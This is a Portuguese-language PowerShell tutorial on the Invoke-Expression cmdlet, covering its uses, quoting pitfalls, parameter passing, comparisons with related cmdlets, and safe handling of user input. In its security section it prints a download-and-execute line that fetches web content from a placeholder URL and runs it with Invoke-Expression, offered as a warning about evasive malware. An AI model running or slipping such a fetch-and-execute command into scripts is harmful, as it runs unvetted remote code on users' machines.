Invoke-Expression: Prós, Contras e Melhores Práticas

O cmdlet Invoke-Expression do PowerShell pode ser facilmente mal interpretado quanto ao momento adequado para utilizá-lo. Neste artigo, compilei uma série de perguntas frequentes principais. Vou detalhá-las e incluir toneladas de exemplos úteis para você consultar sempre que precisar. Isso significa que você deve marcar esta página agora mesmo!

Quer mais dicas como esta? Confira meu blog pessoal de PowerShell em: https://www.nkasco.com/

O que é Invoke-Expression?

A descrição oficial, segundo a Microsoft, é: “O cmdlet Invoke-Expression avalia ou executa uma string especificada como um comando e retorna os resultados da expressão ou comando. Sem o Invoke-Expression, uma string enviada pela linha de comando seria retornada (ecoada) sem alterações”.

Em outras palavras, pode ser útil para chamar código dentro de um script ou construir comandos a serem executados posteriormente. Também pode ser usado com cautela em combinação com a entrada fornecida pelo usuário.

O exemplo mais básico de uso do Invoke-Expression é a definição de um script e a passagem dessa string ao parâmetro Command. O Invoke-Expression então executa essa string.

#Executar um comando PowerShell via Invoke-Expression
$Command = 'Get-Process'
Invoke-Expression -Command $Command

#Executar um script via Invoke-Expression
$MyScript = '.\MyScript.ps1'
Invoke-Expression -Command $MyScript

E se eu tiver espaços no caminho do meu script?

Assegure-se de incluir as strings entre aspas simples ou duplas.

Por exemplo, se você deseja executar uma string com um espaço no caminho, essas opções não funcionarão:

# Isso não funcionará
$MyScript = "C:\Folder Path\MyScript.ps1"
#ou
$MyScript = "'C:\Folder Path\MyScript.ps1'"
Invoke-Expression $MyScript

Por quê? Porque isso é exatamente a mesma coisa que digitar diretamente no console do PowerShell:

PS51> C:\Folder Path\MyScript.ps1

No entanto, se você incluir o item do caminho entre aspas simples ou duplas e a string inteira entre aspas, Invoke-Expression executará o script conforme esperado.

$MyScript = "C:\'Folder Path'\MyScript.ps1"
Invoke-Expression $MyScript

Q. How do you pass parameters to scripts invoked with Invoke-Expression?

O único parâmetro que Invoke-Expression possui é Command. Não há uma maneira nativa de passar parâmetros com Invoke-Expression. No entanto, em vez disso, você pode incluí-los na string que passa para o parâmetro Command.

Talvez você tenha um script com dois parâmetros chamados Path e Force. Em vez de usar um parâmetro específico via Invoke-Expression, você pode passar parâmetros para esse script passando-os como normalmente faria via console.

Se você normalmente chamaria esse script assim via console:

PS51> & 'C:\Scripts\MyScript.ps1' -Path 'C:\file.txt' -Force

Você precisa incluir toda essa linha em uma string e então passar essa string para o parâmetro Command.

$scriptPath = 'C:\Scripts\MyScript.ps1'
$params = '-Path "C:\file.txt" -Force'
Invoke-Expression "$scriptPath $params"
# ou
$string = 'C:\Scripts\MyScript.ps1 -Path "C:\file.txt" -Force'
Invoke-Expression $string

O try/catch faz sentido com Invoke-Expression?

Não realmente. Isso significa que você precisa usar o tratamento de erros dentro do seu parâmetro Command.

Exemplo:

# Não funciona - Invoke-Expression não atua como um controlador de erros global!
try{
    $Command = 'Get-Process powerhell'
    Invoke-Expression $Command -ErrorAction Stop
} catch {
    Write-Host "Oops, something went wrong!"
}

Qual é a diferença entre Invoke-Expression e o operador de chamada (&)?

O operador de chamada (&) é ótimo para executar rapidamente um comando, script ou bloco de script. No entanto, o operador de chamada não analisa o comando. Ele não consegue interpretar os parâmetros do comando como o Invoke-Expression pode.

Por exemplo, talvez eu gostaria de obter o processo do PowerShell Core usando o cmdlet Get-Process com o código Get-Process -ProcessName pwsh. Concatenar Get-Process e o parâmetro não funcionará como esperado usando o operador de chamada.

$a = "Get-Process"

## Não funciona
& "$a pwsh"

Mas se você executar essa string com Invoke-Expression, ela funcionará como esperado.

Invoke-Expression "$a pwsh"

Qual é a diferença entre Invoke-Expression e Start-Process?

O cmdlet Start-Process fornece um código de retorno ou saída no objeto retornado. Ele permite que você espere pelo processo chamado para concluir e permite que você inicie um processo sob uma credencial do Windows diferente. Invoke-Expression é rápido e sujo, enquanto Start-Process pode ser mais útil para interpretar os resultados do processo executado.

Qual é a diferença entre Invoke-Expression e Invoke-Command?

Invoke-Expression apenas “converte” uma string em código executável. Invoke-Command, por outro lado, utiliza PowerShell Remoting, proporcionando a capacidade de invocar código localmente ou remotamente em computadores.

Invoke-Command é preferível se você estiver escrevendo os comandos executados agora, pois retém a intellisense em seu IDE, enquanto Invoke-Expression seria preferível se você quisesse chamar outro script de dentro do atual.

Exemplo:

#Ambos funcionam da mesma forma, mas perdemos a intellisense com o exemplo do Invoke-Expression.
Invoke-Command -ScriptBlock {
    Get-Process Chrome
    Get-Process Powershell
}

Invoke-Expression -Command "
Get-Process Chrome
Get-Process Powershell
"

Qual é a diferença entre Invoke-Expression e Invoke-Item?

O cmdlet Invoke-Item oferece suporte inline para vários caminhos para abrir documentos com sua ação padrão, com parâmetros para inclusão, exclusão, adição de credenciais e até confirmação para segurança adicional.

O Invoke-Expression é seguro?

A. If someone had malicious intent they might be able to trick some virus programs by masking malicious code that constructs itself during runtime. Invoke-Expression will happily execute whatever text is passed to it’s Command parameter.

Exemplo:

$Command = "(Invoke-Webrequest -Uri `"http://website.com/CompletelySafeCode`").Content"
Invoke-Expression $Command

Quais são algumas boas práticas para executar vários comandos/expressões?

Se você tiver vários comandos para executar, mesmo que Invoke-Expression aceite apenas uma string em vez de um array, podemos usar o pipeline do PowerShell para enviar objetos pelo pipeline um de cada vez.

Exemplo:

# Não funciona
$MyCollection = @(
    'Get-Process Chrome',
    'Get-Service bits'
)
Invoke-Expression $MyCollection

# Funciona
'Get-Process Chrome', 'Get-Service bits' | Invoke-Expression

Como usar Invoke-Expression com entrada do usuário?

Você deve ser muito cauteloso ao usar Invoke-Expression com entrada do usuário. Se você permitir um prompt para um usuário de uma maneira que lhes dê acesso fora do comando que você pretende executar, isso poderia criar uma vulnerabilidade indesejada. Aqui está uma maneira segura de implementar a entrada do usuário com Invoke-Expression.

do{
    $Response = Read-Host "Please enter a process name"
    $RunningProcesses = Get-Process

    # Valide a entrada do usuário aqui antes de prosseguir
    if($Response -notin $RunningProcesses.Name){
        Write-Host "That process wasn't found, please try again.`n" # Evite usar $Response aqui
    }
} until ($Response -in $RunningProcesses.Name)

$Command = "Get-Process $Response"
Invoke-Expression $Command

Conclusão

Cada cmdlet tem seu lugar e Invoke-Expression é um que quase todo mundo vai se deparar em algum momento. É importante entender os prós e os contras dos cmdlets frequentemente usados para que você os implemente de uma maneira que o prepare para o sucesso. Estou curioso para ouvir como você usou Invoke-Expression para resolver alguns dos seus próprios desafios, deixe um comentário abaixo e compartilhe sua história!

Quer mais dicas como esta? Confira meu blog pessoal do PowerShell em: https://www.nkasco.com/

Leitura adicional

Source:
https://adamtheautomator.com/invoke-expression/